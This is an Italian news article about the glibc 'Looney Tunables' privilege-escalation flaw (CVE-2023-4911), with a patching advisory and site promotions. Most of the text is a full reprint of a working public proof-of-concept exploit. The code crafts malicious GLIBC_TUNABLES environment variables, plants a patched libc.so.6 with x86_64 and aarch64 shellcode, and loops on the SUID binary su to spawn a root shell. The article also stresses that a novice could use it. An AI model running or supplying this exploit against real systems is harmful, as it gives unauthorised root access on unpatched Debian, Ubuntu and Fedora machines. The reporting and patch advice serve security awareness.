Redazione RHC : 6 Ottobre 2023 16:22
Prima che avessimo il tempo di parlarvi della vulnerabilità “Looney Tunables”, tracciata con l’identificatore CVE-2023-4911, su Internet era già apparso un exploit PoC che consente di sfruttare con successo questa vulnerabilità in un attacco reale.
Inoltre, la complessità dello sfruttamento della vulnerabilità è a un livello estremamente basso: anche un hacker alle prime armi può farcela. Il codice lo trovate più avanti.
Looney Tunables consente agli aggressori di ottenere privilegi di root sui sistemi Linux sfruttando un difetto di buffer overflow. La falla di sicurezza colpisce le installazioni standard di Debian 12 e 13, Ubuntu 22.04 e 23.04 e Fedora 37 e 38.
Sponsorizza la prossima Red Hot Cyber Conference!Il giorno Lunedì 18 maggio e martedì 19 maggio 2026 9 maggio 2026, presso il teatro Italia di Roma (a due passi dalla stazione termini e dalla metro B di Piazza Bologna), si terrà la V edizione della la RHC Conference. Si tratta dell’appuntamento annuale gratuito, creato dalla community di RHC, per far accrescere l’interesse verso le tecnologie digitali, l’innovazione digitale e la consapevolezza del rischio informatico. Se sei interessato a sponsorizzare l'evento e a rendere la tua azienda protagonista del più grande evento della Cybersecurity Italiana, non perdere questa opportunità. E ricorda che assieme alla sponsorizzazione della conferenza, incluso nel prezzo, avrai un pacchetto di Branding sul sito di Red Hot Cyber composto da Banner più un numero di articoli che saranno ospitati all'interno del nostro portale. Quindi cosa stai aspettando? Scrivici subito a [email protected] per maggiori informazioni e per accedere al programma sponsor e al media Kit di Red Hot Cyber. ![]() Supporta RHC attraverso:
Se ti piacciono le novità e gli articoli riportati su di Red Hot Cyber, iscriviti immediatamente alla newsletter settimanale per non perdere nessun articolo. La newsletter generalmente viene inviata ai nostri lettori ad inizio settimana, indicativamente di lunedì. |
I criminali informatici possono sfruttare la vulnerabilità utilizzando una variabile di ambiente dannosa “GLIBC_TUNABLES” gestita dal loader dinamico “ld.so” per causare l’esecuzione di codice arbitrario come root quando si eseguono file binari con autorizzazione SUID.
Uno degli exploit PoC, già confermato e funzionante dall’esperto di vulnerabilità Will Dohrmann, è stato pubblicato dal ricercatore indipendente sulla sicurezza Peter Geissler con lo pseudonimo di “blasty”.
#
# gnu-acme.py
# ------------------------------------------------------------------------------
# my (bad) attempt at a CVE-2023-4911 exploit
# based on the advisory[1] by Qualys and thumb sucking
#
# if you disable aslr (echo 0 > /proc/sys/kernel/randomize_va_space) it will
# attempt to identify a workable offset for your ld.so, you can add it to TARGETS
#
# tested on glibc 2.35-0ubuntu3 (aarch64) and glibc 2.36-9+deb12u2 (amd64)
#
# enjoy, maybe? and don't ask for support :)
#
# -- blasty <[email protected]>
#
# [1]: https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt
#
import binascii
import resource
import struct
import select
import time
import sys
import os
from ctypes import *
from ctypes.util import find_library
from shutil import which
unhex = lambda v: binascii.unhexlify(v.replace(" ", ""))
# setresuid(euid, euid, euid); execve("/bin/sh", ["sh", NULL], NULL);
# exit(0x66)
ARCH = {
"x86_64": {
"shellcode": unhex(
"6a6b580f0589c789c289c66a75580f05"
+ "6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05"
),
"exitcode": unhex("6a665f6a3c580f05"),
"stack_top": 0x800000000000,
"stack_aslr_bits": 34,
},
"aarch64": {
"shellcode": unhex(
"e81580d2010000d4e10300aae20300aa681280d2010000d4"
+ "ee458cd22ecdadf2eee5c5f2ee65eef20f0d80d2ee3fbfa9e0030091e1031faae2031faaa81b80d2010000d4"
),
"exitcode": unhex("c00c80d2a80b80d2010000d4"),
"stack_top": 0x1000000000000,
"stack_aslr_bits": 30,
},
}
TARGETS = {
"a8daca28288575ffc8c7641d40901b0148958fb1": 580,
"a99db3715218b641780b04323e4ae5953d68a927": 561,
}
libc = cdll.LoadLibrary("libc.so.6")
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
resource.setrlimit(
resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY)
)
def error(s):
print("error: %s" % s)
exit(-1)
def find_hax_path(blob, offset):
pos = offset
while pos > 0:
if blob[pos] != 0 and blob[pos] != 0x2F and blob[pos + 1] == 0:
return {"path": bytes([blob[pos]]), "offset": pos - offset}
pos = pos - 1
return None
def lolstruct(format, keys, data):
return dict(zip(keys.split(" "), struct.unpack(format, data)))
def lib_path(libname):
class LINKMAP(Structure):
_fields_ = [("l_addr", c_void_p), ("l_name", c_char_p)]
lib = CDLL(find_library("c"))
libdl = CDLL(find_library("dl"))
dlinfo = libdl.dlinfo
dlinfo.argtypes = c_void_p, c_int, c_void_p
dlinfo.restype = c_int
lmptr = c_void_p()
dlinfo(lib._handle, 2, byref(lmptr))
return cast(lmptr, POINTER(LINKMAP)).contents.l_name
def execve(filename, cargv, cenvp):
libc.execve(filename, cargv, cenvp)
def spawn(filename, argv, envp):
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(envp))(*envp)
child_pid = os.fork()
# child
if not child_pid:
execve(filename, cargv, cenvp)
exit(0)
# parent
start_time = time.time()
while True:
try:
pid, status = os.waitpid(child_pid, os.WNOHANG)
if pid == child_pid:
if os.WIFEXITED(status):
return os.WEXITSTATUS(status) & 0xFF7F
else:
return 0
except:
pass
current_time = time.time()
if current_time - start_time >= 1.5:
print("** ohh... looks like we got a shell? **\n")
os.waitpid(child_pid, 0)
return 0x1337
class lazy_elf:
def __init__(self, filename):
self.d = open(filename, "rb").read()
self.h = lolstruct(
"<HHLQQQLHHHHHH",
"type machine version entry phoff shoff flags ehsize "
+ "phtentsize phnum shentsize shnum shstrndx",
self.d[0x10:0x40],
)
shstr = self.shdr(self.h["shstrndx"])
self.section_names = self.d[shstr["offset"] : shstr["offset"] + shstr["size"]]
def shdr(self, idx):
pos = self.h["shoff"] + (idx * self.h["shentsize"])
return lolstruct(
"<LLQQQQLLQQ",
"name type flags addr offset size link info addralign entsize",
self.d[pos : pos + self.h["shentsize"]],
)
def shdr_by_name(self, name):
name = name.encode()
for i in range(self.h["shnum"]):
shdr = self.shdr(i)
if self.section_names[shdr["name"] :].split(b"\x00")[0] == name:
return shdr
return None
def section_by_name(self, name):
s = self.shdr_by_name(name)
return self.d[s["offset"] : s["offset"] + s["size"]]
def symbol(self, name):
name = name.encode()
dynsym = self.section_by_name(".dynsym")
dynstr = self.section_by_name(".dynstr")
for i in range(len(dynsym) // 24):
pos = i * 24
sym = lolstruct(
"<LBBHQQ",
"name info other shndx value size",
dynsym[pos : pos + 24],
)
if dynstr[sym["name"] :].split(b"\x00")[0] == name:
return sym["value"]
return None
def is_aslr_enabled():
return int(open("/proc/sys/kernel/randomize_va_space", "r").read()) > 0
def build_env(adjust, addr, offset):
# heap meh shui
env = [
b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"P" * adjust,
b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 8,
b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 7,
b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"Y" * 24,
]
for j in range(172):
env.append(b"")
env.append(struct.pack("<Q", addr))
env.append(b"")
for i in range(384):
env.append(b"")
for i in range(47):
env.append(struct.pack("<Q", offset & 0xFFFFFFFFFFFFFFFF) * 16383)
env.append(None)
return env
def build_argv(args):
argv = []
for arg in args:
if len(argv) == 0:
arg = os.path.basename(arg)
argv.append(arg.encode())
argv.append(None)
return argv
def banner():
print("")
print(" $$$ glibc ld.so (CVE-2023-4911) exploit $$$")
print(" -- by blasty <[email protected]> -- ")
print("")
if __name__ == "__main__":
banner()
machine = os.uname().machine
if machine not in ARCH.keys():
error("architecture '%s' not supported" % machine)
print("[i] libc = %s" % lib_path("c").decode())
su_path = which("su")
print("[i] su = %s" % su_path)
suid_e = lazy_elf(su_path)
ld_path = suid_e.section_by_name(".interp").strip(b"\x00").decode()
ld_e = lazy_elf(ld_path)
print("[i] ld.so = %s" % ld_path)
ld_build_id = binascii.hexlify(
ld_e.section_by_name(".note.gnu.build-id")[-20:]
).decode()
print("[i] ld.so build id = %s" % ld_build_id)
libc_e = lazy_elf(lib_path("c"))
__libc_start_main = libc_e.symbol("__libc_start_main")
print("[i] __libc_start_main = 0x%x" % __libc_start_main)
offset = suid_e.shdr_by_name(".dynstr")["offset"]
hax_path = find_hax_path(suid_e.d, offset)
if hax_path is None:
error("could not find hax path")
print(
"[i] using hax path %s at offset %d"
% (
hax_path["path"],
hax_path["offset"],
)
)
if ld_build_id not in TARGETS.keys():
error("no target info found for build id %s" % ld_build_id)
if not os.path.exists(hax_path["path"]):
os.mkdir(hax_path["path"])
argv = build_argv([su_path, "--help"])
if not is_aslr_enabled():
print("[i] ASLR is not enabled, attempting to find usable offsets")
shellcode = ARCH[machine]["exitcode"]
with open(hax_path["path"] + b"/libc.so.6", "wb") as fh:
fh.write(libc_e.d[0:__libc_start_main])
fh.write(shellcode)
fh.write(libc_e.d[__libc_start_main + len(shellcode) :])
print("[i] wrote patched libc.so.6")
stack_addr = ARCH[machine]["stack_top"] - 0x2000
stack_addr += 0x103
print("[i] using stack addr 0x%x" % stack_addr)
for adjust in range(128, 1024):
env = build_env(adjust, stack_addr, hax_path["offset"])
r = spawn(su_path.encode(), argv, env)
print("%d = %d" % (adjust, r))
if r == 0x66:
print(
"found working offset for ld.so '%s' -> %d" % (ld_build_id, adjust)
)
else:
shellcode = ARCH[machine]["shellcode"]
with open(hax_path["path"] + b"/libc.so.6", "wb") as fh:
fh.write(libc_e.d[0:__libc_start_main])
fh.write(shellcode)
fh.write(libc_e.d[__libc_start_main + len(shellcode) :])
print("[i] wrote patched libc.so.6")
stack_addr = ARCH[machine]["stack_top"] - (
1 << (ARCH[machine]["stack_aslr_bits"] - 1)
)
stack_addr += 3
# avoid NULL bytes in guessy addr (out of sheer laziness really)
for i in range(6):
if (stack_addr >> (i * 8)) & 0xFF == 0:
stack_addr |= 0x10 << (i * 8)
print("[i] using stack addr 0x%x" % stack_addr)
env = build_env(TARGETS[ld_build_id], stack_addr, hax_path["offset"])
cnt = 0
while True:
if cnt % 0x10 == 0:
sys.stdout.write(".")
sys.stdout.flush()
if spawn(su_path.encode(), argv, env) == 0x1337:
print("goodbye.")
exit(0)
cnt += 1
Anche altri ricercatori stanno sviluppando e pubblicando contemporaneamente i propri exploit per CVE-2023-4911 su GitHub e altre piattaforme.
“Il nostro riuscito sfruttamento che ha portato all’accesso root completo sulle principali distribuzioni come Fedora, Ubuntu e Debian sottolinea la gravità e la natura diffusa di questa vulnerabilità”, ha affermato Saeed Abbasi, product manager del team di ricerca sulle minacce di Qualys, il 3 ottobre.
Sono stati gli esperti di Qualys i primi a identificare questa vulnerabilità.
Gli amministratori devono agire immediatamente e proteggere le installazioni Linux sotto il loro controllo il prima possibile a causa della significativa minaccia rappresentata da Looney Tunables.
Se n’è parlato molto poco di questo avvenimento, che personalmente reputo strategicamente molto importante e segno di un forte cambiamento nella gestione delle vulnerabilità non documentate in Ita...
Autore: Inva Malaj e Raffaela Crisci 04/10/2025 – Darkforums.st: “303” Rivendica Data Breach di 9 GB su Apple.com Nelle prime ore del 4 ottobre 2025, sul forum underground Darkforums è comparsa...
La storia di SoopSocks è quella che, purtroppo, conosciamo bene: un pacchetto PyPI che promette utilità — un proxy SOCKS5 — ma in realtà introduce un impianto malevolo ben orchestrato. Non stia...
Per decenni, l’informatica è stata considerata una scelta professionale stabile e ricca di opportunità. Oggi, però, studenti, università e imprese si trovano davanti a un panorama radicalmente m...
Lunedì scorso, Asahi Group, il più grande produttore giapponese di birra, whisky e bevande analcoliche, ha sospeso temporaneamente le sue operazioni in Giappone a seguito di un attacco informatico c...